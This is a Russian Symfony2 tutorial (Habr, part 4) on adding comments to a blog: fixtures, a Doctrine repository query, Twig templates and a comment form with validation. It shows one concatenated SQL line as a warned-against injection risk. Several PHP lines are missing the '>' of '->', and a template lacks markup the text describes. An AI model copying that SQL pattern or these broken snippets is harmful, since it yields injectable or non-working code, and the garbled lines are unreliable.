$comment->setComment('Bill Who?');
$comment->setBlog($manager->merge($this->getReference('blog-5')));
$manager->persist($comment);
$manager->flush();
}
public function getOrder()
{
return 2;
}
}
```
C изменениями которые мы сделали в классе BlogFixtures, класс CommentFixtures также расширяет класс AbstractFixture и реализует OrderedFixtureInterface. Это означает, что мы должны также реализовать метод getOrder(). На этот раз мы возвращаем значение 2, обеспечивая этим загрузку фикстур после фикстур записей.
Мы также можем увидеть, как используются ссылки на сущности Blog которые мы создали ранее.
```
$comment->setBlog($manager->merge($this->getReference('blog-2')));
```
Теперь мы готовы загрузить фикстуры в базу данных
```
$ php app/console doctrine:fixtures:load
```
На предупреждение отвечаем: **yes**
Careful, database will be purged. Do you want to continue y/N ? **yes**
#### Отображение Комментариев
Теперь мы можем отобразить комментарии, связанные с каждым сообщением в блоге. Мы начнём с обновления CommentRepository методом, который получает самые последние одобренные комментарии для блога.
#### Репозиторий Comment
Откройте класс CommentRepository расположенный `src/Blogger/BlogBundle/Entity/Repository/CommentRepository.php` и вставьте
**следующее**
```
php
// src/Blogger/BlogBundle/Entity/Repository/CommentRepository.php
namespace Blogger\BlogBundle\Entity\Repository;
use Doctrine\ORM\EntityRepository;
/**
* CommentRepository
*
* This class was generated by the Doctrine ORM. Add your own custom
* repository methods below.
*/
class CommentRepository extends EntityRepository
{
public function getCommentsForBlog($blogId, $approved = true)
{
$qb = $this-createQueryBuilder('c')
->select('c')
->where('c.blog = :blog_id')
->addOrderBy('c.created')
->setParameter('blog_id', $blogId);
if (false === is_null($approved))
$qb->andWhere('c.approved = :approved')
->setParameter('approved', $approved);
return $qb->getQuery()
->getResult();
}
}
```
Метод, который мы создали будет получать комментарии к записи блога. Для этого нам нужно добавить where условие к нашему запросу. Условие where использует именованный параметр, который задается с помощью метода setParameter(). Вы должны всегда использовать параметры вместо того, чтобы устанавливать значения непосредственно в запросе
`->where('c.blog = ' . blogId)`
В этом примере значение $blogId не будет безопасно и может оставить запрос открытым для атаки SQL injection.
#### Контроллер Blog
Далее нам нужно обновить showAction метод контроллера Blog для извлечения комментариев. Обновите контроллер Blog `src/Blogger/BlogBundle/Controller/BlogController.php`
**Вставьте**
```
// src/Blogger/BlogBundle/Controller/BlogController.php
public function showAction($id)
{
// ..
if (!$blog) {
throw $this->createNotFoundException('Unable to find Blog post.');
}
$comments = $em->getRepository('BloggerBlogBundle:Comment')
->getCommentsForBlog($blog->getId());
return $this->render('BloggerBlogBundle:Blog:show.html.twig', array(
'blog' => $blog,
'comments' => $comments
));
}
```
Мы используем новый метод в *CommentRepository* для получения одобренных комментариев. Коллекция **$comments** также передается в шаблон.
#### Шаблон Blog show
Теперь у нас есть список комментариев для блога мы можем обновить шаблон Blog show для показа комментариев. Мы могли бы просто поместить вывод комментариев непосредственно в шаблон Blog show, но так как комментарии имеют свою собственную сущность, было бы лучше, отделить отображение в другой шаблон, и включить в него этот. Это позволит нам повторно использовать шаблон вывода комментариев в любом месте приложения. Обновите шаблон Blog `show src/Blogger/BlogBundle/Resources/views/Blog/show.html.twig` **вставьте**
```
{# src/Blogger/BlogBundle/Resources/views/Blog/show.html.twig #}
{# .. #}
{% block body %}
{# .. #}
### Comments
{% include 'BloggerBlogBundle:Comment:index.html.twig' with { 'comments': comments } %}
{% endblock %}
```
Вы можете увидеть новый тег Twig **include**. Он будет включать содержимое шаблона **BloggerBlogBundle:Comment:index.html.twig**. Мы также можем передать любое количество аргументов в шаблон. В этом случае нам нужно пройти через коллекцию Comment сущностей для визуализации.
#### Шаблон Comment show
**BloggerBlogBundle:Comment:index.html.twig** который мы включили выше пока не существует, поэтому мы должны создать его. Так как это просто шаблон, нам не нужно, создавать маршрут или контроллер для этого нам нужен только файл шаблона. Создайте новый файл
`src/Blogger/BlogBundle/Resources/views/Comment/index.html.twig`
и вставьте **следующее**
```
{# src/Blogger/BlogBundle/Resources/views/Comment/index.html.twig #}
{% for comment in comments %}
{{ comment.user }} commented {{ comment.created|date('l, F j, Y') }}
{{ comment.comment }}
{% else %}
There are no comments for this post. Be the first to comment...
{% endfor %}
```
Как вы можете видеть, мы итерируем коллекцию сущностей Comment и выводим комментарии. Расскажем и о ещё одной хорошей функции Twig, cycle. Эта функция будет перебирать значения в массиве, который вы передаете, во время каждой итерации цикла. Текущее значение итерации цикла получается через специальную переменную **loop.index0**. Это ведет подсчет итераций цикла, начиная с 0. Есть целый ряд других доступных специальных переменных, когда мы находимся в пределах цикла. Вы можете также заметить установку HTML-ID к article элементу. Это позволит нам позже создать ссылки на созданные комментарии.
#### Comment show CSS
И наконец, давайте добавим немного CSS, чтобы комментарии выглядели стильно. Обновите стили, расположенные в `src/Blogger/BlogBundle/Resouces/public/css/blog.css`
```
/** src/Blogger/BlogBundle/Resorces/public/css/blog.css **/
.comments { clear: both; }
.comments .odd { background: #eee; }
.comments .comment { padding: 20px; }
.comments .comment p { margin-bottom: 0; }
.comments h3 { background: #eee; padding: 10px; font-size: 20px; margin-bottom: 20px; clear: both; }
.comments .previous-comments { margin-bottom: 20px; }
```
> *Заметка*
>
>
>
> Если вы не используете метод символических ссылок для обращения к assets бандла в папке web, вы должны повторно запустить команду установки assets чтобы скопировать изменения.
>
>
> ```
> $ php app/console assets:install web
>
> ```
>
>
>
Если теперь посмотрим на одну из show pages, например, <http://localhost:8000/2> вы должны увидеть вывод комментариев к записи.
#### Добавление комментариев
Последняя часть этой главы будет посвящена расширению функциональности для пользователей, добавление комментариев к записи в блоге. Это станет возможным благодаря форме на странице blog show. Мы уже говорили о создании форм в Symfony 2 когда создавали форму на странице контактов. Вместо того чтобы создавать форму комментария вручную, мы можем использовать Symfony2, чтобы он сделал это за нас. Запустите следующую команду для генерации класса CommentType для сущности Comment.
```
$ php app/console generate:doctrine:form BloggerBlogBundle:Comment
```
Вы снова заметите использование сокращения чтобы определить сущность Comment.
> *Подсказка*
>
>
>
> Вы возможно, заметили что также доступна команда **doctrine:generate:form**. Это та же команда названая по-другому.
>
>
Команда создала класс CommentType расположенный `src/Blogger/BlogBundle/Form/CommentType.php`
**Посмотреть код**
```
php
namespace Blogger\BlogBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
class CommentType extends AbstractType
{
/**
* @param FormBuilderInterface $builder
* @param array $options
*/
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
-add('user')
->add('comment')
->add('approved')
->add('created', 'datetime')
->add('updated', 'datetime')
->add('blog')
;
}
/**
* @param OptionsResolver $resolver
*/
public function configureOptions(OptionsResolver $resolver)
{
$resolver->setDefaults(array(
'data_class' => 'Blogger\BlogBundle\Entity\Comment'
));
}
}
```
Мы уже изучили, что происходит здесь, в предыдущем классе Enquiry Type. Мы могли бы начать с настройки этого класса сейчас, но давайте займемся сначала отображением формы.
#### Отображение формы комментариев.
Так как мы хотим, чтобы пользователь добавлял комментарии со страницы blog show, мы могли бы создать форму в методе showAction контроллера Blog и вывести форму непосредственно в шаблоне show. Однако было бы лучше отделить этот код, как мы это делали с отображением комментариев. Разница между отображением комментариев и отображением формы комментариев в том, что форма комментария нуждается в обработке, поэтому требуется контроллер.
#### Маршрут
Нам нужно создать новый маршрут для обработки форм. Добавьте новый маршрут, расположенный `src/Blogger/BlogBundle/Resources/config/routing.yml`
```
BloggerBlogBundle_comment_create:
path: /comment/{blog_id}
defaults: { _controller: "BloggerBlogBundle:Comment:create" }
requirements:
methods: POST
blog_id: \d+
```
#### Контроллер
Далее, нам необходимо создать новый CommentControler который мы упомянули выше. Создайте новый файл, расположенный в src/Blogger/BlogBundle/Controller/CommentController.php и вставьте **следующее**
```
php
// src/Blogger/BlogBundle/Controller/CommentController.php
namespace Blogger\BlogBundle\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Blogger\BlogBundle\Entity\Comment;
use Blogger\BlogBundle\Form\CommentType;
use Symfony\Component\HttpFoundation\Request;
/**
* Comment controller.
*/
class CommentController extends Controller
{
public function newAction($blog_id)
{
$blog = $this-getBlog($blog_id);
$comment = new Comment();
$comment->setBlog($blog);
$form = $this->createForm(CommentType::class, $comment);
return $this->render('BloggerBlogBundle:Comment:form.html.twig', array(
'comment' => $comment,
'form' => $form->createView()
));
}
public function createAction(Request $request, $blog_id)
{
$blog = $this->getBlog($blog_id);
$comment = new Comment();
$comment->setBlog($blog);
$form = $this->createForm(CommentType::class, $comment);
$form->handleRequest($request);
if ($form->isValid()) {
// TODO: Persist the comment entity
return $this->redirect($this->generateUrl('BloggerBlogBundle_blog_show', array(
'id' => $comment->getBlog()->getId())) .
'#comment-' . $comment->getId()
);
}
return $this->render('BloggerBlogBundle:Comment:create.html.twig', array(
'comment' => $comment,
'form' => $form->createView()
));
}
protected function getBlog($blog_id)
{
$em = $this->getDoctrine()
->getManager();
$blog = $em->getRepository('BloggerBlogBundle:Blog')->find($blog_id);
if (!$blog) {
throw $this->createNotFoundException('Unable to find Blog post.');
}
return $blog;
}
}
```
Мы создали 2 метода в контроллере Comment, один для new и один для create. Метод new связан с отображением формы для комментария, метод create связан с обработкой формы комментария. Хотя это может показаться большим куском кода, здесь нет ничего нового, все было рассказано во второй части, когда мы создавали контактную форму. Однако, прежде чем пойти дальше убедитесь, что вы в полной мере поняли, что происходит в контроллере Comment.
#### Валидация Формы
Мы не хотим, чтобы у пользователей была возможность оставлять комментарии с пустыми значениями параметров **user** и **comment**. Для достижения этого, вспомним Валидацию которую мы рассматривали во второй части при создании формы запроса. Обновите сущность Comment расположенную `src/Blogger/BlogBundle/Entity/Comment.php`
**Посмотреть код**
```
php
// src/Blogger/BlogBundle/Entity/Comment.php
// ..
use Symfony\Component\Validator\Mapping\ClassMetadata;
use Symfony\Component\Validator\Constraints\NotBlank;
// ..
class Comment
{
// ..
public static function loadValidatorMetadata(ClassMetadata $metadata)
{
$metadata-addPropertyConstraint('user', new NotBlank(array(
'message' => 'You must enter your name'
)));
$metadata->addPropertyConstraint('comment', new NotBlank(array(
'message' => 'You must enter a comment'
)));
}
// ..
}
```
Здесь проверяется заполнены ли поля user и comment. Также мы переопределили сообщения по умолчанию. Не забудьте добавить пространство имен ClassMetadata и NotBlank, как показано выше.
#### Отображение
Далее нам нужно создать 2 шаблона для методов new и create контроллера. Создайте новый файл, расположенный в `src/Blogger/BlogBundle/Resources/views/Comment/form.html.twig` и вставьте **следующее**
```
{# src/Blogger/BlogBundle/Resources/views/Comment/form.html.twig #}
{{ form_start(form, { 'action': path('BloggerBlogBundle_comment_create' , { 'blog_id' : comment.blog.id }), 'method': 'POST', 'attr': {'class': 'blogger'} }) }}
{{ form_widget(form) }}
```
Цель этого шаблона довольно простая, он просто отображает форму комментария. Вы также заметите, что метод action формы является POST и относится к новому маршруту, который мы создали *BloggerBlogBundle\_comment\_create*.
Теперь давайте создадим шаблон для create метода. Создайте новый файл, расположенный в `src/Blogger/BlogBundle/Resources/views/Comment/create.html.twig` и вставьте **следующее**
```
{% extends 'BloggerBlogBundle::layout.html.twig' %}
{% block title %}Add Comment{% endblock%}
{% block body %}
Add comment for blog post "{{ comment.blog.title }}"
====================================================
{% include 'BloggerBlogBundle:Comment:form.html.twig' with { 'form': form } %}
{% endblock %}
```
Так как метод *createAction* контроллера Comment имеет дело с обработкой формы, он также должен быть в состоянии отображать ее, так как там могут возникнуть ошибки. Мы повторно воспользуемся *BloggerBlogBundle:Comment:form.html.twig* для отображения формы чтобы не дублировать код.
Давайте теперь обновим шаблон blog show для отображения формы. Обновите шаблон `src/Blogger/BlogBundle/Resources/views/Blog/show.html`
```
{# src/Blogger/BlogBundle/Resources/views/Blog/show.html.twig #}
{# .. #}
{% block body %}
{# .. #}
{# .. #}
### Add Comment
{{ render(controller('BloggerBlogBundle:Comment:new',{ 'blog\_id': blog.id })) }}
{% endblock %}
```
Мы использовали здесь другой тег Twig, render. Этот тег выводит содержимое контроллера в шаблон. В нашем случае мы выводим содержимое BloggerBlogBundle:Comment:new
Если мы посмотрим теперь на одну из страниц блога, такую как<http://localhost:8000/2> вы увидите уведомление, показанное ниже.
Это сообщение вызвано шаблоном BloggerBlogBundle:Blog:show.html.twig. Если мы посмотрим на строку 23 шаблона *BloggerBlogBundle:Blog:show.html.twig* мы увидим, что эта строка показывает, что проблема на самом деле в процессе встраивания *BloggerBlogBundle:Comment:create* контроллера.
```
{{ render(controller('BloggerBlogBundle:Comment:new',{ 'blog_id': blog.id })) }}
```
Если мы посмотрим на сообщение об ошибке внимательнее это даст нам больше информации о причине, почему ошибка была вызвана.
Она говорит нам о том, что поле, которое мы пытаемся вызвать не имеет метода \_\_toString () для сущности, связанной с ним. Поле выбора является элементом формы, которое дает пользователю выбор нескольких вариантов, например, элемент select (выпадающий список). Вы можете быть удивлены, где мы выводим такое поле в форме комментария? Если вы посмотрите на шаблон формы комментария снова, вы заметите, что мы выводим форму с помощью функции Twig {{form\_widget(form)}}. Эта функция выводит всю форму. Давайте вернемся к классу формы созданную из класса CommentType. Мы можем видеть, что ряд полей добавляются в форму с помощью объекта FormBuilder. В частности, мы добавляем поле blog.
Если вы помните, во второй части руководства, мы говорили о том, как FormBuilder будет пытаться угадать тип поля для вывода на основе метаданных, относящихся к полю. Так как мы установили связь между сущностями Comment и Blog, FormBuilder предположил, что комментарий должен быть choice полем, которое позволит пользователю указать запись, к которой надо прикрепить комментарий. Вот почему у нас есть choice поле в форме и вот почему была вызвана ошибка Symfony 2. Мы можем решить эту проблему путем реализации \_\_toString() метода в сущности Blog.
```
// src/Blogger/BlogBundle/Entity/Blog.php
public function __toString()
{
return $this->getTitle();
}
```
> *Подсказка*
>
>
>
> Сообщения об ошибках Symfony2 очень информативны при описании проблемы, которая произошла. Всегда читайте сообщения об ошибках, так как они обычно делают процесс отладки намного проще. Сообщения об ошибках также показывают полный путь, так что вы можете увидеть шаги, которые были предприняты, чтобы вызвать ошибку.
>
>
Теперь, когда вы обновите страницу, вы должны увидеть вывод формы комментария. Вы также заметите, что некоторые нежелательные поля были выведены такие как approved, created, updated и blog. Это происходит потому, что мы не настроили сгенерированный класс CommentType ранее.
> *Подсказка*
>
>
>
> Все поля, которые были выведены имеют корректный тип. Поле пользователя text, поле комментария textarea, 2 поля DateTime позволяют указать время, и т.д
>
>
>
> Это происходит из-за способности FormBuilder угадывать тип поля, которое должно быть выведено. Он способен делать это на основе метаданных, которые вы предоставляете. Так как мы определили вполне конкретные метаданные для сущности Comment, то FormBuilder способен делать точные предположения о типах полей.
>
>
Давайте теперь обновим класс, расположенный в src/Blogger/BlogBundle/Form/CommentType.php для вывода только тех полей, которые нам нужны, **вставьте**
```
php
namespace Blogger\BlogBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
class CommentType extends AbstractType
{
/**
* @param FormBuilderInterface $builder
* @param array $options
*/
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder-add('user');
$builder->add('comment');
}
/**
* @param OptionsResolver $resolver
*/
public function configureOptions(OptionsResolver $resolver)
{
$resolver->setDefaults(array(
'data_class' => 'Blogger\BlogBundle\Entity\Comment'
));
}
public function getBlockPrefix()
{
return 'blogger_blogbundle_commenttype';
}
}
```
Теперь, когда вы обновите страницу будут выведены только поле для имени пользователя и поле для комментариев. Если вы отправите форму сейчас, комментарий не будет сохранен в базе данных. Потому, что контроллер формы ничего не делает с сущностью комментария, если форма проходит проверку. Так как же мы сохраним комментарий в базу данных? Вы уже видели, как это делается при создании Фикстур данных. Обновите метод createAction как показано ниже.
```
// src/Blogger/BlogBundle/Controller/CommentController.php
public function createAction(Request $request, $blog_id)
{
//..
if ($form->isValid()) {
$em = $this->getDoctrine()
->getManager();
$em->persist($comment);
$em->flush();
return $this->redirect($this->generateUrl('BloggerBlogBundle_blog_show', array(
'id' => $comment->getBlog()->getId())) .
'#comment-' . $comment->getId()
);
}
//..
}
```
Сохранение сущности Comment происходит благодаря вызову методов *persist()* и *flush()*. Помните, что форма имеет дело с PHP-объектами, а Doctrine 2 управляет и сохраняет эти объекты. Там нет прямой связи между отправкой формы и сохранением представленных данных в базе.
Теперь вы должны иметь возможность добавлять комментарии к сообщениям в блоге.
#### Вывод
Мы добились значительного прогресса в этой части. Наш блог начинает функционировать так как мы и ожидали. Теперь пользователи могут оставлять комментарии к записям блога и читать комментарии, оставленные другими пользователями. Мы увидели, как создать фикстуры, которые могут ссылаться на несколько файлов фикстур и использовали Doctrine 2 Миграции чтобы сохранить встроенную схему базы данных при изменении сущностей.
Далее мы рассмотрим создание боковой панели (sidebar), чтобы поместить в неё облако тегов и недавние комментарии. Мы также расширим наши знания в Twig и увидим как с помощью него делать пользовательские фильтры. В заключение мы рассмотрим использование Assetic библиотеку, которая поможет нам в управлении нашими assets.
Источники и вспомогательные материалы:
<https://symfony.com/>
<http://tutorial.symblog.co.uk/>
<http://twig.sensiolabs.org/>
<http://www.doctrine-project.org/>
<http://odiszapc.ru/doctrine/>
**Post Scriptum**
> Всем спасибо за внимание и замечания сделанные по проекту, если у вас возникли сложности или вопросы, отписывайтесь в комментарии или личные сообщения, добавляйтесь в друзья.
> [Часть 1 — Конфигурация Symfony2 и шаблонов](https://habrahabr.ru/post/301760/)
>
> [Часть 2 — Страница с контактной информацией: валидаторы, формы и электронная почта](https://habrahabr.ru/post/302032/)
>
> [Часть 3 — Doctrine 2 и Фикстуры данных](https://habrahabr.ru/post/302438/)
>
> [Часть 5 — Twig расширения, Боковая панель(sidebar) и Assetic](https://habrahabr.ru/post/303114/)
>
> [Часть 6 — Модульное и Функциональное тестирование](https://habrahabr.ru/post/303578/)
>
>
Также, если Вам понравилось руководство вы можете поставить звезду [репозиторию проекта](https://github.com/AntoscencoVladimir/symfony-blog) или подписаться. Спасибо. | https://habr.com/ru/post/302602/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.